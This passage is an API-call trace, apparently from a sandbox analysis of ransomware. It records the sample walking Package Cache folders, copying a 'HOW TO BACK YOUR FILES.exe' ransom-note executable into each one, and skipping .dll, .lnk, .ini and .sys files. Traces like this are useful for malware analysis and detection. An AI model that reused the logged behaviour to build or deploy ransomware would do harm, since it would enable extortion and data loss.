	[0038.994] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83
	[0038.994] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0038.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.994] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.999] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.999] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.999] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.999] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.999] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0038.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599f60
	[0038.999] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0038.999] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.999] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.999] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0038.999] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0038.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0038.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0038.999] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 92
	[0038.999] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0038.999] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.999] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.005] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.005] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.005] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.005] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0039.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0039.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe4) returned 0x599f60
	[0039.005] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0039.005] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0039.005] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.005] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0039.005] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0039.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0039.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0039.005] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 113
	[0039.005] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0039.005] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.005] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.012] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.012] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.012] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.012] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.012] lstrcpyW (in: lpString1=0x2d3e634, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0039.012] lstrlenW (lpString="cab1.cab") returned 8
	[0039.012] lstrlenW (lpString="Apollon865") returned 10
	[0039.012] lstrlenW (lpString=".dll") returned 4
	[0039.012] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0039.012] lstrlenW (lpString=".lnk") returned 4
	[0039.012] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0039.012] lstrlenW (lpString=".ini") returned 4
	[0039.012] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0039.012] lstrlenW (lpString=".sys") returned 4
	[0039.012] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0039.012] lstrlenW (lpString="cab1.cab") returned 8
	[0039.012] lstrcpyW (in: lpString1=0x2d3e634, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0039.012] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0039.012] lstrlenW (lpString="Apollon865") returned 10
	[0039.012] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0039.012] lstrlenW (lpString=".dll") returned 4
	[0039.012] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0039.012] lstrlenW (lpString=".lnk") returned 4
	[0039.012] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0039.012] lstrlenW (lpString=".ini") returned 4
	[0039.013] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0039.013] lstrlenW (lpString=".sys") returned 4
	[0039.013] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0039.013] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0039.013] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0039.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599598 | out: hHeap=0x580000) returned 1
	[0039.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0039.013] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71
	[0039.013] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0039.013] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.013] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.019] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.019] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.019] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.019] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.019] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0039.019] lstrlenW (lpString="state.rsm") returned 9
	[0039.019] lstrlenW (lpString="Apollon865") returned 10
	[0039.019] lstrlenW (lpString=".dll") returned 4
	[0039.019] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0039.019] lstrlenW (lpString=".lnk") returned 4
	[0039.019] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0039.019] lstrlenW (lpString=".ini") returned 4
	[0039.019] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0039.019] lstrlenW (lpString=".sys") returned 4
	[0039.019] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0039.019] lstrlenW (lpString="state.rsm") returned 9
	[0039.019] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0039.020] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0039.020] lstrlenW (lpString="Apollon865") returned 10
	[0039.020] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0039.020] lstrlenW (lpString=".dll") returned 4
	[0039.020] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0039.020] lstrlenW (lpString=".lnk") returned 4
	[0039.020] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0039.020] lstrlenW (lpString=".ini") returned 4
	[0039.020] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0039.020] lstrlenW (lpString=".sys") returned 4
	[0039.020] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0039.020] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0039.020] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0039.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0039.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0039.020] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82
	[0039.020] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0039.020] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.020] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.025] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.025] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.025] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.025] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0039.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0039.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0039.025] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0039.025] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0039.026] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.026] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0039.026] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0039.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0039.026] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 91
	[0039.026] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0039.026] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.030] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.030] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.030] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0039.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0039.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xec) returned 0x5994e8
	[0039.030] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0039.030] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0039.030] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.030] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0039.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0039.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0039.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0039.031] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 117
	[0039.031] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0039.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
